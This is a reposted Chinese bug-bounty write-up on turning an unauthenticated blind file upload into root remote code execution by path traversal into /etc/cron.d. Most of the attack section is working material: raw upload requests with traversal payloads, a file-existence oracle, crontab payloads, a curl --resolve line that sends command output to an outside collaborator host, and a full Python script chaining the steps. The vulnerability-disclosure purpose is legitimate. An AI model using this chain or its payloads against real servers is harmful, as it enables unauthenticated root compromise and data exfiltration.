利用路径遍历进入Cron并绕过DNS限制回调,将盲文件上传提升为RCE"

admin 2026-10-17 09:29:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

2. 上传过程

2.1 目录字段原封不动地进入路径

该端点接收一个多部分文件和一个指定目标目录的表单字段。它不需要账户、会话Cookie、Bearer令牌或其他任何认证材料。

我通过平台的JavaScript包发现了它,并揭示了端点及相关字段名:

Uploader.send = function (formData, uploadPath, callback) {` formData.append(\"uploadPath\", uploadPath);
$.ajax({
        url: APP_PATH + \"/api/files/upload\",
        type: \"post\",
        data: formData,
        // ...
    });
};

我从一个普通请求开始,以建立基线行为:

POST /app/api/files/upload HTTP/1.1Host: host.redactedContent-Type: multipart/form-data; boundary=X
--XContent-Disposition: form-data; name=\"file\"; filename=\"bugbounty-probe.txt\"Content-Type: text/plainbugbounty benign marker no-script--XContent-Disposition: form-data; name=\"uploadPath\"temp--X--

端点返回:

HTTP/1.1 201 Created
Content-Type: application/json
{
  \"code\": \"succeed\",
  \"payload\": {
    \"mimeType\": \"image/png\",
    \"url\": \"/upload/temp/81355280-3706-4aae-98cb-6caed9e208d1__1784460157564.png\"
  }
}

URL比状态码更有意思。

我提交了一个.txt文件,但服务器将其存储在一个生成的UUID下,并强制加上.png扩展名。无论原始文件名或声明的内容类型是什么,这个行为始终保持一致。

然后,我提供了上传处理器本不该接受的目标目录值:

uploadPath=../temp` → /upload/../temp/a4988743-...png
uploadPath=..%2f..%2ftrav` → /upload/..%2f..%2ftrav/68197467-...png
uploadPath=/tmp/bugbounty-trav` → /upload//tmp/bugbounty-trav/86f7e195-...png

相对路径遍历、编码的分隔符以及前导斜杠都反映在了返回的路径中。在构建路径之前,没有任何可见的内容被剥离或规范化。

这足以识别出一个未经清理的目录路径注入点。但还不足以证明写入操作到达了操作系统的真实文件系统。

2.2 证明写入是真实的

即使应用程序本身没有误导的意图,其响应也容易给人造成误解。

一个将数据写入对象存储、数据库、虚拟文件系统或受限制存储根目录的后端,可能会接受字面包含../../etc的对象名称,并在URL中返回相同的字符串。从外部看像是路径遍历,但实际上从未离开应用程序的存储边界。

我需要一个行为由内核而非应用程序的命名逻辑控制的目标位置。

*/proc 对此很有用。

它是一个由内核暴露的虚拟文件系统,并非磁盘上普通的可写目录。不允许在/proc下直接像在普通目录(如/tmp)下那样随意创建目录。同时,一个拥有足够权限的进程可以在诸如/tmp、/etc和/root这样的位置下创建文件和目录。因此,我发送了四次相同的无害标记探针,只改变目标位置。我使用了超出必要数量约十四个路径遍历段(../),以确保路径到达了文件系统根目录。

在Linux上,过度遍历是无害的,因为一旦到达/,额外的父目录组件就会停止上溯。

我将这个路径遍历前缀称为:UP

../../../../../../../../../../../../../../

所有四个请求都返回了HTTP 201,所以状态码没用。响应体才带来了区别:

UP + etc/bugbounty-1a2b → 成功,返回URL

UP + tmp/bugbounty-1a2b → 成功,返回URL

UP + root/bugbounty-1a2b → 成功,返回URL

UP + proc/bugbounty-1a2b → \"无法创建目录\",无URL

指向普通文件系统目的地的请求成功了。而指向/proc目的地的请求在目录创建时失败了。

这个差异是强有力的证据,表明提供的路径是针对主机的真实文件系统进行解析的。结果取决于目标文件系统的语义,而不仅仅是应用程序如何表示一个上传键。

同样的请求也回答了权限问题。在/root下以及通常在/etc的受保护区域下任意创建,都需要较高的文件系统权限。两次写入都成功了。

现在,我已有强有力的证据表明后端进程是以root身份或在具有等效写入能力的权限下运行的。

此外,该端点因此可以回答关于文件系统存在性的\"是或否\"问题:

UP + etc/crontab/x
  → directory-creation error, no URL
  → 现有的非目录对象阻止了路径
UP + etc/definitely-not-present/x
  → success, URL returned
  → 路径不存在且可以被创建

现在,你可以通过一个只写的端点,一次一个\"是或否\"问题地读取文件系统。

3. 通过一个仅能写入的端点读取文件系统

3.1 主机指纹识别

一个请求回答一个问题:

UP + etc/redhat-release/x`

→ 无法创建
→ 存在

UP + etc/cron.d/0hourly/x

→ 无法创建
→ 存在

UP + usr/sbin/crond/x

→ 无法创建
→ 存在

UP + etc/crontab/x

→ 无法创建
→ 存在

UP + .dockerenv/x

→ 成功并返回URL
→ 在探测前不存在

这些观察结果与以下情况一致:

  • 一个RHEL或CentOS系列的操作系统
  • 主机上安装了Cron
  • 存在标准的cron相关路径
  • 在测试的位置不存在 /.dockerenv 标记

结果暗示这是一个传统的主机安装,而非最小化的容器镜像,尽管仅缺少一个容器标记本身并不具决定性,这里的控制措施很重要。

4. Cron读取的是目录,而非文件名

Web解释器通常关注文件扩展名。

一个常规的PHP上传之所以有效,是因为服务器看到.php,将文件传递给PHP,并在请求URL时执行其内容。当后端强制使用.png时,这条熟悉的链条通常就断了。

从一个配置的目录中消费文件的服务可能表现不同。它不是询问文件名是否看起来可执行,而是检查目录,并根据文件内容或本地配置来处理文件。Cron在受影响的主机上恰恰提供了这种行为。

实现处理了放置在/etc/cron.d目录内生成的.png文件,将其内容解释为系统crontab,并将配置的命令作为行上指定的用户来执行。

这彻底改变了漏洞利用的形式:

  • 我不需要控制存储的文件名
  • 我不需要文件能通过Web访问
  • 我不需要nginx或应用程序解释器来执行它
  • 我只需要控制文件内容和目标目录

那个阻挡了所有传统上传技术的文件名变得无关紧要。完全可控的目录成为了执行原语。

Linux系统包含多个位置,其文件可能被特权组件使用,但它们的触发条件各不相同:

  • /etc/cron.d和cron调度目录按定时器处理。
  • /etc/profile.d依赖于用户启动相关的登录Shell。
  • Web服务器配置目录通常需要重启或重新加载。
  • Systemd单元目录通常需要守护进程重启或服务活动。
  • Logrotate配置在计划的轮转期间被消费。
  • /etc/sudoers.d文件可能在sudo运行时被读取,探查它特别不安全,因为格式错误的内容可能会扰乱管理访问。

只有/etc/cron.d在这个主机上被使用。其他例子说明了技术背后的更广泛问题:

哪个受信任的进程会自动从我可以控制的目录中读取文件?

4.1 植入一个良性的、自我移除的crontab

文件主体包含一个有效的系统crontab。该命令运行id,在/tmp下创建一个证明文件,然后移除上传的crontab,使其不会保持活动状态。

一个简化、脱敏后的请求如下所示:

POST /app/api/files/upload HTTP/1.1` Host: host.example

Content-Type: multipart/form-data; boundary=X

...

...

--X

Content-Disposition: form-data; name=\"file\"; filename=\"cron.png\"

Content-Type: image/png

# bugbounty benign self-removing proof

MAILTO=\"\"

* * * * * root /usr/bin/id > /tmp/bugbounty-cronproof 2>&1; /usr/bin/find /etc/cron.d -maxdepth 1 -name \"*__*.png\" -delete

--X

Content-Disposition: form-data; name=\"uploadPath\"

../../../../../../../../../../../../../../etc/cron.d

--X--

端点返回了一个生成的存储路径:

{
  \"code\": \"succeed\",
  \"payload\": {
    \"mimeType\": \"image/png\",
    \"url\": \"/upload/.../etc/cron.d/3f3c2461-c280-435a-bb36-bb04a5d6cb4e__1784460205914.png\"
  }
}

此时,一个包含有效crontab的、由服务器生成的.png文件已存在于/etc/cron.d目录中。我原本预计到这里链会断裂,因为已知在某些调度位置和配置中,Cron实现会应用文件名限制。然而,在这个特定主机上,生成的.png文件被成功处理了。

一个cron周期后,我通过\"预言机\"检查了两个路径:

UP + tmp/bugbounty-cronproof/x

→ 无法创建目录
→ 证明文件存在,因此第一个命令已运行
UP + etc/cron.d/3f3c2461-...png/x`

→ 成功并返回URL
→ 上传的crontab已不存在

同一个植入的行产生了两种不同的效果:

  • 证明文件被创建
  • crontab自我移除了

文件已被打开,其内容被执行。

4.2 通过文件名读取命令输出

知道一个命令已运行,与知道是哪个用户运行了它,并不是一回事。我仍然无法读取/tmp/bugbounty-cronproof的内容。

解决方案是停止将命令输出视为需要检索的文本。相反,我将输出编码成一个路径名,然后询问\"预言机\"该路径名是否存在。

下一个crontab没有将id的输出保存到文件,而是从中构造了一个文件名:

* * * * * root /usr/bin/touch \"/tmp/bugbounty-idout-$(/usr/bin/id -u)-$(/usr/bin/id -un)-$(/usr/bin/uname -m)\" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name \"*__*.png\" -delete

一个周期后,我计算了如果命令以root身份在观察到的主机架构上运行,Shell将产生什么:

/tmp/bugbounty-idout-0-root-x86_64 然后我询问\"预言机\"该精确路径是否存在:

UP + tmp/bugbounty-idout-0-root-x86_64/x → 无法创建目录

存在,这意味着Shell已经展开:

id -u    → 0
id -un   → root
uname -m → x86_64

一个单独的匹配候选本身并没有说服力,所以我测试了几个阴性对照:

UP + tmp/bugbounty-idout-1000-root-x86_64/x

→ 成功并返回URL
→ 不存在

UP + tmp/bugbounty-idout-0-nobody-x86_64/x

→ 成功并返回URL
→ 不存在

UP + tmp/bugbounty-idout-0-root-aarch64/x

→ 成功并返回URL
→ 不存在

UP + tmp/bugbounty-idout-nonsense/x

→ 成功并返回URL
→ 不存在

错误的UID、错误的用户名、错误的架构以及任意的控制值都不存在。

只有:

0-root-x86_64是存在的。

至此,远程代码执行已经触手可及。我只需要再多做一点工作,使证明更清晰,并通过外部回调来确认它。

4.3 通过网络确认

标准的Burp Collaborator回调不起作用,因为主机无法解析外部DNS名称。然而,到直接IP地址的出站HTTP请求仍然是允许的。

为了绕过DNS限制,cron命令使用了curl --resolve,它在本地将一个受控的主机名映射到一个固定的IP地址。这允许请求保留一个有效的主机名,同时完全绕过目标的DNS解析器。

cron作业被配置为将几个系统命令的输出发送到我控制的服务器(详情见第5节)。当作业执行时,服务器收到了以下回调:

POST /repro-id

...
...
Content-Type: multipart/form-data; boundary=------------------------nbDQFgm6Sk9yuVL92dQGdX
Connection: keep-alive
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name=\"file\"; filename=\"cron.png\"
Content-Type: image/png
#bugbounty
MAILTO=\"\"
* * * * * root RO=\"--resolve qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com:80:3.248.33.252\"; /usr/bin/curl -sk ${RO} --max-time 10 \"http://qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com/d451-repro-id\" -d \"$(/usr/bin/id)\" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name \"*.png\" -delete
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name=\"parentPathName\"
../../../../../../../../../../../../../../etc/cron.d
--------------------------nbDQFgm6Sk9yuVL92dQGdX--
uid=0(root) gid=0(root) groups=0(root)` context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023

主机还返回了:

POST /repro-uname
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 x86_64

这个漏洞发现被定为严重级,CVSS 3.1评分为10.0。

5. 整个利用链的脚本细节

以下版本以伪代码形式呈现,并有意将概念验证限制为良性的回调,只返回执行用户的身份信息和基本的系统架构信息:

#!/usr/bin/env python3
import time
import uuid
from typing import Any
import requests
TARGET = \"https://host.example/app/api/files/upload\"
WEBHOOK_HOST = \"oastify.listener.example\"
WEBHOOK_IP = \"THEIP###\"
UP = \"../\" * 14
TAG = f\"bugbounty-{uuid.uuid4().hex[:8]}\"
def upload(
    body: bytes,
    destination: str,
    filename: str = \"probe.png\",
) -> dict[str, Any]:
    response = requests.post(
        TARGET,
        files={
            \"file\": (
                filename,
                body,
                \"image/png\",
            )
        },
        data={\"uploadPath\": destination},
        timeout=30,
    )
    response.raise_for_status()
    result = response.json()
    return result.get(\"payload\") or {}
def exists(path: str) -> bool:
    \"\"\"
    Filesystem-state oracle.
    When the requested path passes through an existing regular file,
    directory creation fails and the endpoint returns no stored URL.
    \"\"\"
    probe = UP + path.lstrip(\"/\") + f\"/{TAG}-probe\"
    result = upload(b\"benign marker\", probe)
    return \"url\" not in result
print(\"[1] Checking filesystem behavior\")
for directory in (\"etc\", \"tmp\", \"root\", \"proc\"):
    destination = UP + directory + \"/\" + TAG
    result = upload(b\"benign marker\", destination)
    state = \"written\" if \"url\" in result else \"refused\"
    print(f\"/{directory:<5} -> {state}\")
print(\"\
[2] Checking expected cron paths\")
for path in (
    \"/usr/sbin/crond\",
    \"/etc/cron.d/0hourly\",
    \"/etc/crontab\",
):
    state = \"present\" if exists(path) else \"absent or creatable\"
    print(f\"{path:<24} -> {state}\")
print(\"\
[3] Planting a benign, self-removing crontab\")
curl_command = (
    f\"/usr/bin/curl -s \"
    f\"--resolve {WEBHOOK_HOST}:80:{WEBHOOK_IP} \"
    f\"-X POST --data-binary @- \"
    f\"http://{WEBHOOK_HOST}\"
)
crontab = (
    \"# bugbounty benign self-removing proof\
\"
    'MAILTO=\"\"\
'
    f\"* * * * * root \"
    f\"/usr/bin/id | {curl_command}/{TAG}-id; \"
    f\"/usr/bin/uname -a | {curl_command}/{TAG}-uname; \"
    f\"/usr/bin/find /etc/cron.d \"
    f\"-maxdepth 1 -name \\\"*__*.png\\\" -delete\
\"
).encode()
result = upload(
    crontab,
    UP + \"etc/cron.d\",
    filename=\"cron.png\",
)
stored_url = result.get(\"url\")
if not stored_url:
    raise RuntimeError(
        \"The crontab upload did not return a stored URL\"
    )
leaf_name = stored_url.rsplit(\"/\", 1)[-1]
print(f\"Planted /etc/cron.d/{leaf_name}\")
print(\"\
[4] Waiting for one cron cycle\")
time.sleep(90)
crontab_path = f\"/etc/cron.d/{leaf_name}\"
print(
    \"Uploaded crontab:\",
    \"still present\" if exists(crontab_path) else \"removed\",
)
print(\"Review the controlled listener for the identity callbacks.\")

运行我在测试期间创建的完整脚本版本,确认了完整的远程代码执行,因为目标主机执行了注入的命令,并将结果通过网络发送到我控制的Collaborator服务器。

服务器从未直接返回命令输出。它逐字节返回内核的应答,而这足以证明无需认证的、以root身份进行的远程代码执行。开发和生产主机被分别报告,但在安全团队评估(triage)之前均被关闭,因为该程序认为应用程序由供应商运营且不在范围内,没有颁发任何赏金,也无法确认修复情况。

因此,当遇到一个任意文件盲注写入时,请停止与生成的文件名作斗争,转而检查它周围的系统,到达执行状态的路径可能根本不需要经过一个Web可访问的文件。

原文:https://infosecwriteups.com/escalating-a-blind-upload-to-rce-via-path-traversal-into-cron-and-dns-restricted-callback-bypass-0f63db01be92

  • END -

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~


利用路径遍历进入Cron并绕过DNS限制回调,将盲文件上传提升为RCE" 网络安全文章

利用路径遍历进入Cron并绕过DNS限制回调,将盲文件上传提升为RCE"

本文详细介绍了在漏洞赏金目标中发现的一个无需认证的文件上传点,存在目录路径注入漏洞。通过利用路径遍历写入真实文件系统,并借助Cron自动处理/etc/cron.d目录下文件(包括强制.png扩展名)的特性,将盲文件上传提升为远程代码执行。关键发现包括:后端以root权限运行、可探测文件系统存在性、以及通过crontab实现命令执行。建议安全测试中关注类似技术链。
原创—建言献策之建议国家早点取消退休金养老制度" 网络安全文章

原创—建言献策之建议国家早点取消退休金养老制度"

本文认为现行养老保险制度不科学,随着人口长寿与老龄化,高额退休金会压榨八十后九十后的财富并影响生育率。作者建议取消退休金制度,改为从出生到死亡的全民发工资模式,主张以此大水漫灌式发放刺激经济和提升生育率,并引用历史人物决策呼吁管理层打破顾虑推行改革。
实战|记某次逆向小程序解密及签名破解" 网络安全文章

实战|记某次逆向小程序解密及签名破解"

本文记录了一次授权渗透测试过程,通过弱口令登录后利用文件上传漏洞及JeePlus框架的已知漏洞(SQL注入、任意文件读取/删除/上传)最终获取服务器权限。关键发现包括通过目录扫描找到可解析路径并上传免杀webshell绕过WindowsDefender,成功上线CobaltStrike。建议在渗透测试中注重路径探测与免杀技术应用。
评论:0   参与:  0